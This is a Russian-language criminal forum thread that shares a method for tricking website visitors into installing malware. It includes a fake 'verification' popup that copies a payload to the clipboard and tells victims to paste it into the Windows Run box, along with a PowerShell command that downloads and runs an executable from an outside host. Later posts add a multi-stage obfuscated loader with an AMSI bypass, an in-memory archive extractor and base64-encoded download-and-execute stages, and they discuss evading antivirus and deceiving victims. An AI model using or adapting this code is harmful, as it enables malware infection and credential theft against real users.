What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Альтернативный способ инсталлов

dunkel

Light Weight
Депозит
$0
Демо https://dunkelrrr.github.io/Popup/
Плюсы:
-не нужны скачивания, расшифровка запароленных архивов, обход motw и скантайма ав (на этом шаге Drop-off Rate максимальный)
-сайт не считается "contains malicious software", не падает seo и траст
-работает когда жертва не хотела и не собирается ничего скачивать, допустим зашел на адалт, или ему просто что то очень надо сделать на сайте

Можете свой дизайн сделать/творчески оформить, и писать "Succes ✅" и закрывать оверлей когда прилетает лог с того же ip (чтобы реднек ниче не заподозрил и не побежал менять креды на акках)

HTML: Скопировать в буфер обмена
Code:
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Verification Modal</title>
 <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
 <style>
  body {
   font-family: 'Roboto', sans-serif;
   display: flex;
   justify-content: center;
   align-items: center;
   height: 100vh;
   margin: 0;
   background-color: #f5f5f5;
  }
  #openModal {
   padding: 15px 30px;
   font-size: 1.5rem;
   background-color: #468ef7;
   color: white;
   border: none;
   border-radius: 5px;
   cursor: pointer;
   transition: background-color 0.3s;
  }
  #openModal:hover {
   background-color: #356ac1;
  }
  .modal {
   display: none;
   position: fixed;
   z-index: 1;
   left: 0;
   top: 0;
   width: 100%;
   height: 100%;
   background-color: rgba(0, 0, 0, 0.4);
  }
  .modal-content {
   background-color: white;
   margin: 10% auto;
   padding: 30px;
   border: 1px solid #888;
   width: 80%;
   max-width: 600px;
   text-align: center;
   border-radius: 10px;
  }
  .modal h2 {
   color: #468ef7;
   font-size: 3rem;
  }
  .modal p {
   font-size: 2.25rem;
   text-align: center;
  }
  .modal .steps p {
   font-size: 2rem;
   line-height: 1.5;
  }
  .windows-icon {
   width: 25px;
   vertical-align: middle;
   margin: 0 5px;
  }
 </style>
</head>
<body>
 <button id="openModal">Open Verification Modal</button>
 <div id="myModal" class="modal">
  <div class="modal-content">
   <h2>Verification Steps</h2>
   <div class="steps">
    <p>1. Press Windows Button <img src="https://img.icons8.com/ios11/512/windows-10.png" class="windows-icon"/> + R</p>
    <p>2. Press CTRL + V</p>
    <p>3. Press Enter</p>
   </div>
  </div>
 </div>
 <script>
  const command = 'cmd'; //твой пейлоад
  function copyToClipboard() {
   navigator.clipboard.writeText(command);
  }
  document.getElementById("openModal").onclick = function() {
   copyToClipboard();
   document.getElementById("myModal").style.display = "block";
  }
  window.onclick = function(event) {
   if (event.target == document.getElementById("myModal")) {
    document.getElementById("myModal").style.display = "none";
   }
  }
 </script>
</body>
</html>
 
еще если в конце исполняемой строки добавить кучу пробелов то строка будет визуально пустой, а run просто проигнорит пробелы
powershell -Command "Invoke-WebRequest -Uri 'http://t41.kz/a.exe' -OutFile '$env:TEMP\a.exe'; Start-Process '$env:TEMP\a.exe'"
 
is like copy paste thing. but the problem is what will be the conversion rate of the installs from traffic from these kinds of landings? does this pour install good as compared to traditional way of downloading the file from landing and executing that
 
hahbah сказал(а):
А как на это реагирует ав? Особенно корп сегмент. Можно ли реально в нынешних реалиях лить таким способом?
Нажмите, чтобы раскрыть...
На сайт? Ну можно картинки использовать вместо окна с текстом и обфусцировать строку которая копируется в буфер https://www.google.com/search?q=+powershell+without+powershell
 
o
dunkel сказал(а):
also, if you add a bunch of spaces at the end of the executable line, the line will be visually empty, and run will simply ignore the spaces
powershell -Command "Invoke-WebRequest -Uri 'http://t41.kz/a.exe' -OutFile '$env:TEMP\a.exe'; Start-Process '$env:TEMP\a.exe'"
Посмотреть вложение 96333
Нажмите, чтобы раскрыть...
I tried the powershell command but its throwing up error . Do you recommend any method to get the payload run?
 
proxy сказал(а):
Действительно, подскажет кто-то чистый способ установки без обнаружения АВ ?
Проверил. + - все известные способы палятся, включая msiexec.
Нажмите, чтобы раскрыть...
Если мы не смотрим на чистоту твоей нагрузки, тогда на пример:
Шаг 1) Грузишь архив с твоей нагрузкой (payload.tar) к корень сайта (https://example.com/payload.tar)

Шаг 2) Ниже приведенный код публикуем в инете (например rentry.co) и экспортируем в raw-формат

Спойлер: Код
Bash: Скопировать в буфер обмена
Code:
# Проверка, загружен ли класс 'Program' в текущий AppDomain
if (-not ([AppDomain]::CurrentDomain.GetAssemblies() |
   ForEach-Object { $_.GetTypes() } |
   Where-Object { $_.FullName -eq 'Program' })) {

 # Определение класса C# 'Program' с методами для манипуляции защитой памяти и патчингом функции
 $data = @"
 using System;
 using System.Runtime.InteropServices;

 public class Program
 {
  // Импорт GetProcAddress из kernel32.dll для получения адреса функции в DLL
  [DllImport("kernel32")]
  public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

  // Импорт LoadLibrary из kernel32.dll для загрузки DLL в адресное пространство процесса
  [DllImport("kernel32")]
  public static extern IntPtr LoadLibrary(string name);

  // Импорт VirtualProtect из kernel32.dll для изменения защиты на области выделенных страниц
  [DllImport("kernel32")]
  public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, out uint lpflOldProtect);

  // Метод для патчинга функции AMSI (Antimalware Scan Interface)
  public static void Run()
  {
   // Загрузка DLL AMSI
   IntPtr lib = LoadLibrary("a"+"m"+"si."+"dll");

   // Получение адреса функции AmsiScanBuffer
   IntPtr amsi = GetProcAddress(lib, "Am"+"s"+"iScan"+"B"+"uffer");

   // Вычисление адреса для патчинга
   IntPtr final = IntPtr.Add(amsi, 0x84);

   // Изменение защиты памяти для разрешения записи
   uint old = 0;
   VirtualProtect(final, (UInt32)0x1, 0x40, out old);

   // Патчинг функции путем записи одного байта
   byte[] patch = new byte[] { 0x75 };
   Marshal.Copy(patch, 0, final, 1);

   // Восстановление оригинальной защиты памяти
   VirtualProtect(final, (UInt32)0x1, old, out old);
  }
 }
"@

 # Добавление класса C# в текущую сессию
 Add-Type $data -Language CSharp
}

# Выполнение метода Run класса Program
[Program]::Run()

# Проверка, загружен ли класс 'TarExtractor' в текущий AppDomain
if (-not ([AppDomain]::CurrentDomain.GetAssemblies() |
   ForEach-Object { $_.GetTypes() } |
   Where-Object { $_.FullName -eq 'TarExtractor' })) {

 # Определение класса C# 'TarExtractor' для извлечения файлов из TAR-архива в памяти
 $tarExtractorCode = @"
 using System;
 using System.IO;
 using System.Collections.Generic;

 public class TarExtractor
 {
  // Метод для извлечения файлов из TAR-архива, хранящегося в памяти
  public static Dictionary<string, byte[]> ExtractTarFromMemory(byte[] tarData)
  {
   var extractedFiles = new Dictionary<string, byte[]>();

   using (var memoryStream = new MemoryStream(tarData))
   {
    while (memoryStream.Position < memoryStream.Length)
    {
     // Чтение заголовка каждого файла в TAR-архиве
     byte[] header = new byte[512];
     memoryStream.Read(header, 0, 512);

     // Извлечение имени файла из заголовка
     string fileName = System.Text.Encoding.ASCII.GetString(header, 0, 100).Trim('\0');
     if (string.IsNullOrEmpty(fileName)) break;

     // Извлечение размера файла из заголовка (в восьмеричном формате)
     string fileSizeOctal = System.Text.Encoding.ASCII.GetString(header, 124, 12).Trim('\0').Trim();
     long fileSize = Convert.ToInt64(fileSizeOctal, 8);

     // Чтение данных файла
     byte[] fileData = new byte[fileSize];
     memoryStream.Read(fileData, 0, fileData.Length);

     // Добавление файла в словарь
     extractedFiles.Add(fileName, fileData);

     // Пропуск заполнения до следующего 512-байтного блока
     long padding = 512 - (memoryStream.Position % 512);
     if (padding < 512)
     {
      memoryStream.Seek(padding, SeekOrigin.Current);
     }
    }
   }

   return extractedFiles;
  }
 }
"@

 # Добавление класса C# в текущую сессию
 Add-Type -TypeDefinition $tarExtractorCode -Language CSharp
}

# Пауза выполнения на 10 секунд
Start-Sleep -Seconds 10

# URL TAR-файла для загрузки
$tarUrl = "https://example.com/payload.tar"

# Создание WebClient для загрузки TAR-файла
$webClient = New-Object System.Net.WebClient

# Загрузка данных TAR-файла
$tarData = $webClient.DownloadData($tarUrl)

# Извлечение файлов из загруженных данных TAR
$extractedFiles = [TarExtractor]::ExtractTarFromMemory($tarData)

# Создание временного каталога для хранения извлеченных файлов
$tempDir = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString())
New-Item -ItemType Directory -Path $tempDir | Out-Null

# Перебор извлеченных файлов
foreach ($file in $extractedFiles.Keys) {
 # Проверка, является ли файл исполняемым
 if ($file -match "\.exe$") {
  # Генерация случайного имени для исполняемого файла
  $randomExeName = -join ((0..3) | ForEach-Object { (65..90) + (97..122) | Get-Random | % {[char]$_} }) + ".tmp.exe"

  # Комбинирование пути временного каталога со случайным именем исполняемого файла
  $exeFilePath = [System.IO.Path]::Combine($tempDir, $randomExeName)

  # Запись исполняемого файла на диск
  [System.IO.File]::WriteAllBytes($exeFilePath, $extractedFiles[$file])

  # Выполнение извлеченного исполняемого файла
  Start-Process -FilePath $exeFilePath

  # Выход из цикла после выполнения первого исполняемого файла
  break
 }
}

В коде не забываем изменить линк на загрузку архива на свой. Код прокомментирован, думаю проблем не будет.

Ссылку на RAW в виде https://rentry.co/norhfvpz/raw шифруем в base64 (пример: aHR0cHM6Ly9yZW50cnkuY28vbm9yaGZ2cHovcmF3

Шаг 3) Закодированный линк на RAW вставляем в PS-скрипт1

Спойлер: PS-скрипт1
Bash: Скопировать в буфер обмена
$RD = [bool]@(0x01BE);$UO = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("закодированный в base64 линк"));$CO = New-Object Net.WebClient;$SOF = $CO.DownloadString($UO);iex $SOF;$null = [System.Collections.ArrayList]

Далее весь PS-скрипт1 кодируем в base64 и вставляем в PS-скрипт2

Спойлер: PS-скрипт2
Bash: Скопировать в буфер обмена
Code:
ipconfig /flushdns

$Diagnostics = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";
$MUI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Diagnostics));
Invoke-Expression $MUI;

[System.Diagnostics.Process]::Start("powershell", "-ep RemoteSigned -w 1 -enc
 `"Закодированный в base64 первый PS-скрипт1`"") | Out-Null;

exit;
0

Шаг 5) PS-скрипт2 который получили на выходе вставляем в POP-UP
 
Top